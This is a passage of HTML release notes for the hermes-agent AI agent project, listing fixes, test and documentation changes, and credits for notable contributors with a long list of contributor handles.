<li>Match bare custom provider by active base URL in <code>hermes model</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28908/hovercard">#28908</a>)</li>
<li>Route <code>auxiliary.vision.provider=openai</code> to api.openai.com, skip text-only main. (<a href="https://github.com/NousResearch/hermes-agent/pull/31452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31452/hovercard">#31452</a>)</li>
<li>Lint: skip per-file shell linter when LSP will handle the file. (<a href="https://github.com/NousResearch/hermes-agent/pull/29054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29054/hovercard">#29054</a>)</li>
<li>Treat empty credential pool entries as unauthenticated in <code>/model</code> picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/28312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28312/hovercard">#28312</a>)</li>
<li>Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.</li>
</ul>
<hr>
<h2>🧪 Testing</h2>
<ul>
<li>Disarm lazy-install probe so <code>_HAS_FASTER_WHISPER</code> patches work. (<a href="https://github.com/NousResearch/hermes-agent/pull/30334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30334/hovercard">#30334</a>)</li>
<li>Cover default board dashboard pin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28361/hovercard">#28361</a>)</li>
<li>Cover <code>_task_dict</code> <code>task_age</code> fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28365" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28365/hovercard">#28365</a>)</li>
<li>Allowlist <code>tmp_path</code> for <code>kanban_notify</code> artifact delivery tests. (<a href="https://github.com/NousResearch/hermes-agent/pull/30851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30851/hovercard">#30851</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30852/hovercard">#30852</a>)</li>
<li>Cover null output stream terminal events in Codex. (<a href="https://github.com/NousResearch/hermes-agent/pull/33137" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33137/hovercard">#33137</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong>30-day docs overhaul</strong> — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (<a href="https://github.com/NousResearch/hermes-agent/pull/33782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33782/hovercard">#33782</a>)</li>
<li>Dedicated Nous Portal integration page and setup guide. (<a href="https://github.com/NousResearch/hermes-agent/pull/31296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31296/hovercard">#31296</a>)</li>
<li>Providers: move Nous Portal first, Google Gemini OAuth last. (<a href="https://github.com/NousResearch/hermes-agent/pull/31287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31287/hovercard">#31287</a>)</li>
<li><code>session_search</code> rewrite for single-shape tool. (<a href="https://github.com/NousResearch/hermes-agent/pull/27840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27840/hovercard">#27840</a>)</li>
<li>Kanban: document failure_limit, max_retries, inline create shortcuts, goals &amp; kanban settings. (<a href="https://github.com/NousResearch/hermes-agent/pull/28357" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28357/hovercard">#28357</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28358" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28358/hovercard">#28358</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28359/hovercard">#28359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28360" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28360/hovercard">#28360</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28362" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28362/hovercard">#28362</a>)</li>
<li>Kanban Codex lane skill. (<a href="https://github.com/NousResearch/hermes-agent/pull/28430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28430/hovercard">#28430</a>)</li>
<li>xAI OAuth: note X Premium+ also unlocks Grok OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/29055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29055/hovercard">#29055</a>)</li>
<li>Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.</li>
<li>Email: clarify gateway vs Himalaya setup. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33634/hovercard">#33634</a>)</li>
<li>Auth docs: replace stale <code>hermes login</code> references with <code>hermes auth add</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32859/hovercard">#32859</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> (lead)</li>
</ul>
<h3>Notable salvages &amp; cherry-picks</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a></strong> — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, <code>gateway run</code> auto-redirect in s6, tee supervised stdout to docker logs, <code>hermes update</code> Docker guidance, build-time SHA stamping</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> — <code>hermes gui</code> desktop launcher, <code>mouse_tracking</code> DEC mode presets</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a></strong> — Windows installer hardening, <code>--branch</code> flag for <code>hermes update</code>, install.ps1 BOM strip / commit-pin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — Windows <code>dep_ensure</code> bootstrap, Nix package variants (<code>.#messaging</code>, <code>.#full</code>), install-method stamping, ACP browser bootstrap consolidation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — <code>/update</code> slash command, dashboard checkboxes → <code>@nous-research/ui</code>, mobile dashboard polish, collapsible sidebar</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — Nix <code>.#desktop</code> packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a></strong> — Nous JWT inference switch + refresh-token replay fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a></strong> + <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a></strong> — session control API (REST + SSE + multimodal followup)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a></strong> — kanban swarm topology helper</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a></strong> — kanban worker visibility endpoints</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a></strong> — termux cold-start optimizations (multiple PRs)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a></strong> — Telegram in-place status edits design</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a></strong> — ntfy adapter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a></strong> — xAI Web Search provider plugin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a></strong> — xAI upstream adapter for <code>hermes proxy</code></li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a></strong> — OpenRouter sticky routing via session_id</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a></strong> — Nous Portal base_url allowlist validation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a></strong> — Windows Docker Desktop compose file</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a></strong> — Docker HOME alignment for dashboard + s6 gateway services</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a></strong> — opencode-go anthropic_messages routing</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a></strong> — Skills Guard multi-word prompt patterns</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a></strong> — env_passthrough GHSA-rhgp-j443-p4rf filter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></strong> — Google Chat OAuth credential persistence hardening</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a></strong> — defense-in-depth read-deny on credential stores</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a></strong> — control-plane file write protection</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a></strong> — auxiliary fallback ladder components</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a></strong> — TUI session orchestrator + follow-ups</li>
<li><strong>@daimon-nous[bot]</strong> — cron per-job profile support</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a></strong> — re-pad <code>reasoning_content</code> on cross-provider fallback</li>
</ul>
<h3>All Contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xchainer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xchainer">@0xchainer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xjackyang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xjackyang">@0xjackyang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8bit64k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8bit64k">@8bit64k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AceWattGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AceWattGit">@AceWattGit</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ACR27/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ACR27">@ACR27</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adam91holt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adam91holt">@adam91holt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdamPlatin123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdamPlatin123">@AdamPlatin123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ade5954/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ade5954">@Ade5954</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdityaRajeshGadgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdityaRajeshGadgil">@AdityaRajeshGadgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hana-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hana-ai">@ai-hana-ai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alaamohanad169-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alaamohanad169-ship-it">@alaamohanad169-ship-it</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alber70g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alber70g">@alber70g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/albert748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/albert748">@albert748</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aqilaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aqilaziz">@aqilaziz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argabor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argabor">@argabor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/awizemann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/awizemann">@awizemann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/B0Tch1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/B0Tch1">@B0Tch1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BaxBit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BaxBit">@BaxBit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bensargotest-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bensargotest-sys">@bensargotest-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/booker1207/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/booker1207">@booker1207</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradhallett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradhallett">@bradhallett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Brixyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Brixyy">@Brixyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brndnsvr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brndnsvr">@brndnsvr</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/btorresgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/btorresgil">@btorresgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/burjorjee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/burjorjee">@burjorjee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carltonawong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carltonawong">@carltonawong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Carry00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Carry00">@Carry00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaconne67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaconne67">@chaconne67</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chdlc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chdlc">@chdlc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChyuWei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChyuWei">@ChyuWei</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CipherFrame/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CipherFrame">@CipherFrame</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cmullins70/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cmullins70">@cmullins70</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CNSeniorious000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CNSeniorious000">@CNSeniorious000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codeblackhole1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codeblackhole1024">@codeblackhole1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colin-chang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colin-chang">@colin-chang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CryptoByz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CryptoByz">@CryptoByz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daizhonggeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daizhonggeng">@daizhonggeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/darvsum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/darvsum">@darvsum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcampbelldc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcampbelldc">@davidcampbelldc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deas">@deas</a>,<br>
